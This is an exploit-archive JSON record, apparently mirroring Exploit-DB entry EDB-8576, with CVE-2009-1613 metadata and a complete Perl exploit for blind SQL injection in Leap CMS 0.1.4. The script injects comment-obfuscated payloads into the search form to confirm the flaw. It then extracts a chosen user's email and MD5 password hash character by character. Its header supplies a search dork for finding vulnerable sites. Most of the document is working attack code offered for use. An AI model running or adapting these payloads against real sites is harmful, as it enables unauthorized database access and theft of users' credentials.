{"exploit":{"id":"EDB-8576","name":"Leap CMS 0.1.4 - 'searchterm' Blind SQL Injection (SQLi)","description":"Leap CMS 0.1.4 - 'searchterm' Blind SQL Injection (SQLi)","cves":["CVE-2009-1613"],"author":"YEnH4ckEr","published":"2009-04-30","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8576","path":"exploits/php/webapps/8576.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8576.pl","vulnerabilities":[{"id":"CVE-2009-1613","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in leap.php in Leap CMS 0.1.4, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) searchterm or (2) email parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1613","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1613"},"updatedAt":"2024-08-07T05:20:34.623Z","retrievedAt":"2026-11-27T09:10:03.354Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8576.png?v=2","url":"https://exploitbin.com/exploits/EDB-8576","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8576/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8576/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#***********************************************************************************************\n#***********************************************************************************************\n#**\t       \t\t\t\t\t\t\t\t\t\t      **\n#**  \t\t\t\t\t\t\t\t\t\t\t      **\n#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **\n#**     || || ||  []        [][]   []   []  []     []   []      [] []   []\t  []    []    **\n#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **\n#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\\\n#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--\n#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/\n#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []\n#**\t\t\t\t\t\t\t                                      **\n#**    \t\t\t\t\t\t\t\t\t\t\t      **\n#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **\n#**\t\t\t\t\t  Â¡PROUD TO BE SPANISH!\t                              **\n#**\t\t\t\t\t\t\t\t\t\t\t      **\n#***********************************************************************************************\n#***********************************************************************************************\n#\n#----------------------------------------------------------------------------------------------\n#|       \t    (Search Post Form) BLIND SQL INJECTION (BSQLi) EXPLOIT\t              |\n#|--------------------------------------------------------------------------------------------|\n#|                         \t    |   Leap CMS 0.1.4    |\t\t \t              |\n#|  CMS INFORMATION:\t\t     ---------------------\t\t\t\t      |\n#|\t\t\t\t\t\t\t\t\t\t              |\n#|-->WEB: http://leap.gowondesigns.com/\t\t\t\t   \t\t              |\n#|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip\t\t              |\n#|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap\t      |\n#|-->CATEGORY: CMS / Lite\t\t\t\t\t\t\t\t      |\n#|-->DESCRIPTION: Leap is a single file, template independent, open-source,                   |\n#| \t\tstandards-compliant,extensible content management system for the web...\t      |\n#|-->RELEASED: 2009-03-13\t\t\t\t\t\t\t\t      |\n#|\t\t\t\t\t\t\t\t\t\t\t      |\n#|  CMS VULNERABILITY:\t\t\t\t\t\t\t\t\t      |\n#|\t\t\t\t\t\t\t\t\t\t\t      |\n#|-->TESTED ON: firefox 3                                \t\t\t\t      |\n#|-->DORK: \"Powered by Leap\"\t\t\t\t\t\t\t\t      |\n#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT\t\t\t\t\t      |\n#|-->AFFECT VERSION: LAST = 0.1.4 (Maybe <= ?)\t\t            \t\t\t      |\n#|-->Discovered Bug date: 2009-04-25\t\t\t\t\t\t\t      |\n#|-->Reported Bug date: 2009-04-25\t\t\t\t\t\t\t      |\n#|-->Fixed bug date: Not fixed\t\t\t\t\t\t\t\t      |\n#|-->Info patch (????): Not fixed\t\t\t\t\t\t\t      |\n#|-->Author: YEnH4ckEr\t\t\t\t\t\t\t\t\t      |\n#|-->mail: y3nh4ck3r[at]gmail[dot]com\t\t\t\t\t\t\t      |\n#|-->WEB/BLOG: N/A\t\t\t\t\t\t\t\t\t      |\n#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |\n#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)\t\t      |\n#----------------------------------------------------------------------------------------------\n#\n#-----------\n#BUG FILE:\n#-----------\n#\n#Path --> [HOME_PATH]/leap.php\n#\n#\n#\n#function contentSearch() {\n#\n#\t...\n#\n#\n#if($searchterm=='') return FALSE;\n#\n#        ...\n#\n#\tif (eregi(\" AND | NOT | OR \",$search,$matches)) $search=str_replace($matches,'',$search);   <-------BYPASSED (/**/)\n#\n#\t\t$keywords = explode(' ', $search); //print_r($keywords);    <---------BYPASSED (/**/)\n#\n#\t\t...\n#\n#\t\t$query = \"SELECT * FROM \".db('prefix').\"content WHERE published='1' AND\";     <----------START QUERY\n#\n#\t\tif ($keyCount > 1) {\n#\n#\t\t\t...\n#\n#\t\t}\n#\t\telse {\n#\n#\t\t\t$query .=\" (INSTR(`title`, '$keywords[0]') > '0' || INSTR(`body`, '$keywords[0]') > '0' || ...)\";}  <--------INJECTION HERE\n#\t\t\t$pquery=$query.';'; $query.=\" ORDER BY mod_date DESC LIMIT $pg, $max;\"; //echo $query;\n#\n#\t\t\t...\n#\n#\t\t}\n#\n#}\n#\n#------------\n#CONDITIONS:\n#------------\n#\n#**gpc_magic_quotes=off\n#\n#---------------------------------------\n#PROOF OF CONCEPT (BLIND SQL INJECTION):\n#---------------------------------------\n#\n#SEARCH --> a')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#\n#\n#Return: Search for 'a'\n#\n#######################################################################\n#######################################################################\n##*******************************************************************##\n## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##\n##*******************************************************************##\n##-------------------------------------------------------------------##\n##*******************************************************************##\n##       GREETZ TO: JosS and all SPANISH Hack3Rs community!          ##\n##*******************************************************************##\n#######################################################################\n#######################################################################\n#\nuse LWP::UserAgent;\nuse HTTP::Request;\n#Subroutines\nsub lw\n{\n\tmy $SO = $^O;\n\tmy $linux = \"\";\n\tif (index(lc($SO),\"win\")!=-1){\n\t\t$linux=\"0\";\n\t}else{\n\t\t$linux=\"1\";\n\t}\n\tif($linux){\n\t\tsystem(\"clear\");\n\t}\n\telse{\n\t\tsystem(\"cls\");\n\t\tsystem (\"title Leap CMS 0.1.4 (BLIND SQL Injection) Exploit\");\n\t\tsystem (\"color 04\");\n\t}\n}\nsub request {\n\tmy $userag = LWP::UserAgent->new;\n\t$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');\n\tmy $request = HTTP::Request -> new(POST => $_[0]);\n\t$request->content_type('application/x-www-form-urlencoded');\n\t$request->content($_[1]);\n\tmy $outcode= $userag->request($request)->as_string;\n\treturn $outcode;\n}\nsub helper {\n\tprint \"\\n\\t[<-->] Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit\\n\";\n\tprint \"\\t[<-->] USAGE MODE: [<-->]\\n\";\n\tprint \"\\t[<-->] perl $0 [HOST] [PATH] [Search] [Id]\\n\";\n\tprint \"\\t[<-->] [HOST]: Web.\\n\";\n\tprint \"\\t[<-->] [PATH]: Home Path.\\n\";\n\tprint \"\\t[<-->] [Search]: Something. Default: a (**optional)\\n\";\n\tprint \"\\t[<-->] [id]: Id user. Default: 1 (**optional)\\n\";\n\tprint \"\\t[<-->] Example: perl $0 'www.example.es' 'leap-CMS' 'a' '1'\\n\";\n}\nsub lengthuser{\n#First, user length...\n$exit=0;\n$i=0;\n\twhile($exit==0){\n\t\tmy $searchinjected=\"searchterm=\".$_[2].\"')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/length(mail)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id=\".$_[1].\")=\".$i++.\"#\"; #injected code\n\t\t$output=&request($_[0],$searchinjected);\n\t\tif ( $output =~ (/No Results Found./))\n\t\t{\n\t\t\t$exit=0;\n\t\t}else{\n\t\t\t$exit=1;\n\t\t}\n\t}\n#Save column length\n$lengthuser=$i-1;\nprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\nprint \"\\tUser Length catched!\\n\";\nprint \"\\tUser Length: \".$lengthuser.\"\\n\";\nprint \"\\tBruteforcing values...\\n\";\nprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\nreturn $lengthuser;\n}\nsub bruteforcing {\nmy $values=\"\";\n#Getting datas\n$j=1;\n\t$i=46;\n\twhile(($j<=$_[2]) && ($i<=126)){\n\t\tmy $searchinjected=\"searchterm=\".$_[4].\"')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/ascii(substring((SELECT/*y3nh4ck3r*/\".$_[3].\"/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='\".$_[1].\"'),\".$j.\",1))=\".$i.\"#\"; #injected code\n\t\t$output=&request($_[0],$searchinjected);\n\t\tif ( $output !~ (/No Results Found./))\n\t\t{\n\t\t\t$values=$values.chr($i);\n\t\t\t$j++;\n\t\t\t$i=45;\n\t\t}\n\tif($i==57)\n\t{\n\t\t$i=63; #@\n\t}\n\tif($i==64)\n\t{\n\t\t$i=96;\n\t}\n#new char\n\t$i++;\n\t}\n#Error\n\tif(($i>127) || ($j>$_[2])){\n\t\tif(!$values){\n\t\t\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\t\t\tprint \"\\tEXPLOIT FAILED!\\n\";\n\t\t\tprint \"\\tFatal error: Datas doesn't find!\\n\";\n\t\t\tprint \"\\tCause: Maybe you have to include more characters on bruteforcing...\\n\";\n\t\t\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\t\t\texit(1);\n\t\t}\n\t}\n\nreturn $values;\n}\n#Main\n&lw;\nprint \"\\t\\t#######################################################\\n\\n\";\nprint \"\\t\\t#######################################################\\n\\n\";\nprint \"\\t\\t##   Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit  ##\\n\\n\";\nprint \"\\t\\t##       ++Conditions: Need magic_quotes=off         ##\\n\\n\";\nprint \"\\t\\t##                  Author: Y3nh4ck3r                ##\\n\\n\";\nprint \"\\t\\t##          Contact:y3nh4ck3r[at]gmail[dot]com       ##\\n\\n\";\nprint \"\\t\\t##                  Proud to be Spanish!             ##\\n\\n\";\nprint \"\\t\\t#######################################################\\n\\n\";\nprint \"\\t\\t#######################################################\\n\\n\";\n#Init variables\nmy $host=$ARGV[0];\nmy $path=$ARGV[1];\n#Build the uri\nmy $finalhost=\"http://\".$host.\"/\".$path.\"/index.php?search\";\n#Check all variables needed\n$numArgs = $#ARGV + 1;\n\tif($numArgs<=1)\n\t{\n\t\t&helper;\n\t\texit(1);\n\t}\n#Search parameter. It's optional. Default:a\n\tif(!$ARGV[2]){\n\t\t$search=\"a\";\n\t}else{\n\t\t$search=$ARGV[2];\n\t}\n#Id-user is optional.Default:1\n\tif(!$ARGV[3]){\n\t\t$idhacked=\"1\";\n\t}else{\n\t\t$idhacked=$ARGV[3];\n\t}\n#Testing blind sql injection\nmy $finalrequest = $finalhost;\n#Test blind sql injection\nmy $searchinjected=\"searchterm=\".$search.\"')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#\"; #injected code\n$output=&request($finalrequest, $searchinjected);\nif ( $output =~ (/No Results Found./))\n{\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\tprint \"\\tThis Web is not vulnerable!\\n\";\n\tprint \"\\t--->Maybe:\\n\";\n\tprint \"\\t1.-Patched or gpc_magic_quotes=off\\n\";\n\tprint \"\\t2.-Search parameter hasn't found. Try other!\\n\";\n\tprint \"\\tEXPLOIT FAILED!\\n\";\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\texit(1);\n}else{\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\tprint \"\\tWeb is vulnerable!\\n\";\n\tprint \"\\tTested Blind SQL Injection.\\n\";\n\tprint \"\\tChecking id user...\\n\";\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\n}\n#Test if user exists\nmy $searchinjected=\"searchterm=\".$search.\"')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/COUNT(*)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='\".$idhacked.\"')#\"; #injected code\n$output=&request($$finalrequest,$searchinjected);\nif ( $output =~ (/No Results Found./))\n{\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\tprint \"\\tUser doesn't exists!\\n\";\n\tprint \"\\tEXPLOIT FAILED!\\n\";\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\texit(1);\n}else{\n\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\tprint \"\\tOK...The user exists!\\n\";\n\tprint \"\\tStarting exploit...\\n\";\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\tprint \"\\tWait several minutes...\\n\";\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n}\n#Bruteforcing user...\n$length_mail=&lengthuser($finalrequest,$idhacked,$search);\n$email=&bruteforcing($finalrequest,$idhacked,$length_mail,'mail',$search);\nif(length($email)!=$length_mail)\n{\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\tprint \"\\tEXPLOIT FAILED!\\n\";\n\tprint \"\\tFatal error: Different length email!\\n\";\n\tprint \"\\tCause: Maybe you have to include more characters on bruteforcing...\\n\";\n\tprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n\texit(1);\n}\n\nprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\nprint \"\\tGot user!\\n\";\nprint \"\\tBruteforcing password hash (md5)...\\n\";\nprint \"\\t<<<<<--------------------------------------------------------->>>>>\\n\";\n#Bruteforcing password...\n$passhash=&bruteforcing($finalrequest,$idhacked,32,'pwd',$search); #it isn't needed length\nprint \"\\n\\t\\t*************************************************\\n\";\nprint \"\\t\\t****  EXPLOIT EXECUTED (LeapCMS 0.1.4 BSQLi) ****\\n\";\nprint \"\\t\\t*************************************************\\n\\n\";\nprint \"\\t\\tUser-id:\".$idhacked.\"\\n\";\nprint \"\\t\\tE-mail:\".$email.\"\\n\";\nprint \"\\t\\tUser-password(hash):\".$passhash.\"\\n\\n\";\nprint \"\\n\\t\\t<<----------------------FINISH!-------------------->>\\n\\n\";\nprint \"\\t\\t<<---------------Thanks to: y3hn4ck3r-------------->>\\n\\n\";\nprint \"\\t\\t<<------------------------EOF---------------------->>\\n\\n\";\nexit(1);\n#Ok...all job done\n\n# milw0rm.com [2009-04-30]","sha256":"9039c26ddd014cee5d3013c48b9cb02d2cfc4e81b5c2338ef88d97547168267b","bytes":12392,"fetchedAt":"2026-11-27T09:10:03.132Z","encoding":"utf-8 (display only; download retains original bytes)"}